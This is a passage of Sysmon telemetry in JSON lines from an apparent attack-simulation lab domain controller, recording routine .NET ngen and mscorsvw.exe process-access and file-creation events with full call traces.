\r\nUtcTime: 2020-08-07 12:03:22.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-00107C0D0E00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:22.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-00107C0D0E00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:22.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-430A-5F2D-0000-001021850F00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:22.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-430A-5F2D-0000-001021850F00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:23.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-430B-5F2D-0000-0010A9890F00}\r\nTargetProcessId: 3972\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:23.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-430B-5F2D-0000-0010A9890F00}","TargetProcessId":"3972","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:23.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-430B-5F2D-0000-0010A9890F00}\r\nTargetProcessId: 3972\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:23.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-430B-5F2D-0000-0010A9890F00}","TargetProcessId":"3972","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:23.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-430B-5F2D-0000-0010A9890F00}\r\nTargetProcessId: 3972\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:23.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-430B-5F2D-0000-0010A9890F00}","TargetProcessId":"3972","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:32.604\r\nProcessGuid: {90617006-430B-5F2D-0000-0010A9890F00}\r\nProcessId: 3972\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f84-0\\System.Web.dll\r\nCreationUtcTime: 2020-08-07 12:03:32.604","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:32.604","ProcessGuid":"{90617006-430B-5F2D-0000-0010A9890F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f84-0\\System.Web.dll","CreationUtcTime":"2020-08-07 12:03:32.604","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:32.885\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4314-5F2D-0000-0010EB910F00}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:32.885","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4314-5F2D-0000-0010EB910F00}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:32.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4314-5F2D-0000-0010EB910F00}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:32.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4314-5F2D-0000-0010EB910F00}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:32.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4314-5F2D-0000-0010EB910F00}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:32.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4314-5F2D-0000-0010EB910F00}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00107B960F00}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 